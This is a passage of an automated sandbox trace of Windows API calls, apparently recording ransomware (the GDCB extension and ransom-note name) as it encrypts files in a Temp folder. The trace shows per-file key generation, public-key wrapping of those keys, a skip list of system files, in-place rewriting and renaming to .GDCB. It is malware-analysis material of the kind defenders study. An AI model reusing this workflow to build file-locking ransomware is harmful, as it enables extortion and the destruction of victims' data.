CryptEncrypt (in: hKey=0x5f5f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.694] GetLastError () returned 0x0 [0170.694] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.694] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.695] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6170) returned 1 [0170.695] CryptGetKeyParam (in: hKey=0x5f6170, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.695] CryptEncrypt (in: hKey=0x5f6170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.695] GetLastError () returned 0x0 [0170.695] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.696] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gyoubgx88pjkao y.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.696] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3") returned 260 [0170.696] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3") returned 260 [0170.696] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3") returned 260 [0170.696] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3") returned 260 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="desktop.ini") returned 1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="autorun.inf") returned 1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="ntuser.dat") returned -1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="iconcache.db") returned -1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="bootsect.bak") returned 1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="boot.ini") returned 1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="ntuser.dat.log") returned -1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="thumbs.db") returned -1 [0170.696] lstrcmpiW (lpString1="hVvFtKteq1q.mp3", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.696] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hvvftkteq1q.mp3")) returned 0xffffffff [0170.696] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3", dwFileAttributes=0xfffffffe) returned 0 [0170.696] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.697] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.697] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.697] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.697] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.697] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.699] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f66f0) returned 1 [0170.699] CryptGetKeyParam (in: hKey=0x5f66f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.699] CryptEncrypt (in: hKey=0x5f66f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29f0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29f0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.699] GetLastError () returned 0x0 [0170.699] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.699] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.701] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f65f0) returned 1 [0170.701] CryptGetKeyParam (in: hKey=0x5f65f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.701] CryptEncrypt (in: hKey=0x5f65f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a00000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a00000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.702] GetLastError () returned 0x0 [0170.702] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.702] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\hVvFtKteq1q.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\hvvftkteq1q.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.702] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi") returned 268 [0170.702] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi") returned 268 [0170.702] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi") returned 268 [0170.702] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi") returned 268 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="desktop.ini") returned 1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="autorun.inf") returned 1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="ntuser.dat") returned -1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="iconcache.db") returned 1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="bootsect.bak") returned 1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="boot.ini") returned 1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="ntuser.dat.log") returned -1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="thumbs.db") returned -1 [0170.702] lstrcmpiW (lpString1="jdLA6osJ6x3cyku_75S.avi", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.702] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jdla6osj6x3cyku_75s.avi")) returned 0xffffffff [0170.702] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi", dwFileAttributes=0xfffffffe) returned 0 [0170.702] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.703] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.703] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.703] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0170.703] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.703] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.703] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.703] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.705] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f69b0) returned 1 [0170.705] CryptGetKeyParam (in: hKey=0x5f69b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.705] CryptEncrypt (in: hKey=0x5f69b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a10000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a10000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.705] GetLastError () returned 0x0 [0170.705] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.705] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.707] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6470) returned 1 [0170.707] CryptGetKeyParam (in: hKey=0x5f6470, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.707] CryptEncrypt (in: hKey=0x5f6470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a20000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a20000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.707] GetLastError () returned 0x0 [0170.707] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.707] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\jdLA6osJ6x3cyku_75S.avi" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\jdla6osj6x3cyku_75s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.708] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv") returned 255 [0170.708] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv") returned 255 [0170.708] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv") returned 255 [0170.708] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv") returned 255 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="desktop.ini") returned 1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="autorun.inf") returned 1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="ntuser.dat") returned -1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="iconcache.db") returned 1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="bootsect.bak") returned 1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="boot.ini") returned 1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="ntuser.dat.log") returned -1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="thumbs.db") returned -1 [0170.708] lstrcmpiW (lpString1="L0CGgz.mkv", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.708] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv")) returned 0x20 [0170.708] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv", dwFileAttributes=0x20) returned 1 [0170.711] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.711] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.711] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.711] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.711] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.712] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.712] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.712] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.714] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f62b0) returned 1 [0170.714] CryptGetKeyParam (in: hKey=0x5f62b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.714] CryptEncrypt (in: hKey=0x5f62b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a30000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a30000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.714] GetLastError () returned 0x0 [0170.714] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.714] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.716] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6370) returned 1 [0170.716] CryptGetKeyParam (in: hKey=0x5f6370, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.716] CryptEncrypt (in: hKey=0x5f6370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a40000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a40000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.716] GetLastError () returned 0x0 [0170.716] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.716] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.719] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2a50000 [0170.719] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2a60000 [0170.719] ReadFile (in: hFile=0x514, lpBuffer=0x2a60000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a60000*, lpNumberOfBytesRead=0x285d3e8*=0x1322, lpOverlapped=0x0) returned 1 [0170.724] VirtualAlloc (lpAddress=0x0, dwSize=0x1330, flAllocationType=0x3000, flProtect=0x4) returned 0x2b70000 [0170.724] VirtualAlloc (lpAddress=0x0, dwSize=0x1330, flAllocationType=0x3000, flProtect=0x4) returned 0x2b80000 [0170.725] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.725] SetFilePointer (in: hFile=0x514, lDistanceToMove=-4898, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.725] WriteFile (in: hFile=0x514, lpBuffer=0x2b80000*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b80000*, lpNumberOfBytesWritten=0x285d3e0*=0x1330, lpOverlapped=0x0) returned 1 [0170.725] VirtualFree (lpAddress=0x2b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.725] VirtualFree (lpAddress=0x2a60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.728] WriteFile (in: hFile=0x514, lpBuffer=0x2a30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2a30000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.728] WriteFile (in: hFile=0x514, lpBuffer=0x2a40000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.728] WriteFile (in: hFile=0x514, lpBuffer=0x2a50000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2a50000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.728] CloseHandle (hObject=0x514) returned 1 [0170.729] VirtualFree (lpAddress=0x2a50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.729] VirtualFree (lpAddress=0x2a30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.729] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.729] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\L0CGgz.mkv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\l0cggz.mkv.gdcb")) returned 0 [0170.732] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log") returned 270 [0170.732] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log") returned 270 [0170.732] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log") returned 270 [0170.732] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log") returned 270 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="desktop.ini") returned 1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="autorun.inf") returned 1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="ntuser.dat") returned -1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="iconcache.db") returned 1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="bootsect.bak") returned 1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="boot.ini") returned 1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="ntuser.dat.log") returned -1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="thumbs.db") returned -1 [0170.732] lstrcmpiW (lpString1="LHNIWSJ-20171110-1726.log", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.732] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 